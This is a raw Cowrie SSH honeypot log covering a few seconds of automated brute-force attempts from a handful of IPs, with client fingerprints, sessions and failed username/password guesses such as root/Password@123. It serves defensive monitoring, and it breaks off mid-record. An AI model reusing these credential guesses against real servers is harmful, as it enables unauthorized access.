{"eventid":"cowrie.session.connect","src_ip":"177.54.62.66","src_port":58251,"dst_ip":"10.17.0.5","dst_port":22,"session":"192b1bfd1def","protocol":"ssh","message":"New connection: 177.54.62.66:58251 (10.17.0.5:22) [session: 192b1bfd1def]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:26:18.745148Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:26:18.750204Z","src_ip":"177.54.62.66","session":"192b1bfd1def","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:26:18.881291Z","src_ip":"177.54.62.66","session":"192b1bfd1def","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test","password":"Admin@123","message":"login attempt [test/Admin@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:26:19.437939Z","src_ip":"177.54.62.66","session":"192b1bfd1def","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":58048,"dst_ip":"159.203.135.109","dst_port":22,"session":"1e4056cb02ce","protocol":"ssh","message":"New connection: 192.109.200.78:58048 (159.203.135.109:22) [session: 1e4056cb02ce]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:26:20.548126Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:26:20.556511Z","src_ip":"192.109.200.78","session":"1e4056cb02ce","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:26:20.573575Z","src_ip":"177.54.62.66","session":"192b1bfd1def","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:26:20.638634Z","src_ip":"192.109.200.78","session":"1e4056cb02ce","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"guest","password":"guest123","message":"login attempt [guest/guest123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:26:20.894164Z","src_ip":"192.109.200.78","session":"1e4056cb02ce","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.95","src_port":48390,"dst_ip":"159.203.135.109","dst_port":22,"session":"cfc5cdda882e","protocol":"ssh","message":"New connection: 176.65.139.95:48390 (159.203.135.109:22) [session: cfc5cdda882e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:26:21.107718Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:26:21.113296Z","src_ip":"176.65.139.95","session":"cfc5cdda882e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:26:21.198848Z","src_ip":"176.65.139.95","session":"cfc5cdda882e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"amit","password":"amit","message":"login attempt [amit/amit] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:26:21.456638Z","src_ip":"176.65.139.95","session":"cfc5cdda882e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:26:22.065608Z","src_ip":"192.109.200.78","session":"1e4056cb02ce","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:26:22.543913Z","src_ip":"176.65.139.95","session":"cfc5cdda882e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":58054,"dst_ip":"159.203.135.109","dst_port":22,"session":"87f2b53504ef","protocol":"ssh","message":"New connection: 192.109.200.78:58054 (159.203.135.109:22) [session: 87f2b53504ef]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:26:24.867047Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:26:24.871715Z","src_ip":"192.109.200.78","session":"87f2b53504ef","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:26:24.955962Z","src_ip":"192.109.200.78","session":"87f2b53504ef","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Password@123","message":"login attempt [root/Password@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:26:25.209594Z","src_ip":"192.109.200.78","session":"87f2b53504ef","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:26:26.294950Z","src_ip":"192.109.200.78","session":"87f2b53504ef","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.95","src_port":48396,"dst_ip":"159.203.135.109","dst_port":22,"session":"032cb6b61bdf","protocol":"ssh","message":"New connection: 176.65.139.95:48396 (159.203.135.109:22) [session: 032cb6b61bdf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:26:27.255854Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:26:27.260640Z","src_ip":"176.65.139.95","session":"032cb6b61bdf","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:26:27.349650Z","src_ip":"176.65.139.95","session":"032cb6b61bdf","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root1","password":"root1","message":"login attempt [root1/root1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:26:27.630445Z","src_ip":"176.65.139.95","session":"032cb6b61bdf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:26:28.828374Z","src_ip":"176.65.139.95","session":"032cb6b61bdf","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":60112,"dst_ip":"159.203.135.109","dst_port":22,"session":"9dd199240a70","protocol":"ssh","message":"New connection: 192.109.200.78:60112 (159.203.135.109:22) [session: 9dd199240a70]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:26:28.834073Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:26:28.838969Z","src_ip":"192.109.200.78","session":"9dd199240a70","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:26:28.923862Z","src_ip":"192.109.200.78","session":"9dd199240a70","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin2","password":"admin2","message":"login attempt [admin2/admin2] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:26:29.180616Z","src_ip":"192.109.200.78","session":"9dd199240a70","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:26:30.395968Z","src_ip":"192.109.200.78","session":"9dd199240a70","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.95","src_port":55188,"dst_ip":"159.203.135.109","dst_port":22,"session":"7b8e56b890e5","protocol":"ssh","message":"New connection: 176.65.139.95:55188 (159.203.135.109:22) [session: 7b8e56b890e5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:26:33.671835Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:26:33.676882Z","src_ip":"176.65.139.95","session":"7b8e56b890e5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:26:33.770185Z","src_ip":"176.65.139.95","session":"7b8e56b890e5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"usuario","password":"usuario","message":"login attempt [usuario/usuario] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:26:34.112956Z","src_ip":"176.65.139.95","session":"7b8e56b890e5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":60124,"dst_ip":"159.203.135.109","dst_port":22,"session":"90846af79e46","protocol":"ssh","message":"New connection: 192.109.200.78:60124 (159.203.135.109:22) [session: 90846af79e46]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:26:34.123896Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:26:34.129392Z","src_ip":"192.109.200.78","session":"90846af79e46","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:26:34.217351Z","src_ip":"192.109.200.78","session":"90846af79e46","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"test123","message":"login attempt [root/test123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:26:34.468613Z","src_ip":"192.109.200.78","session":"90846af79e46","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:26:35.378446Z","src_ip":"176.65.139.95","session":"7b8e56b890e5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:26:35.553093Z","src_ip":"192.109.200.78","session":"90846af79e46","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":60134,"dst_ip":"159.203.135.109","dst_port":22,"session":"6e28fa61d8fe","protocol":"ssh","message":"New connection: 192.109.200.78:60134 (159.203.135.109:22) [session: 6e28fa61d8fe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:26:37.265728Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:26:37.271546Z","src_ip":"192.109.200.78","session":"6e28fa61d8fe","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sh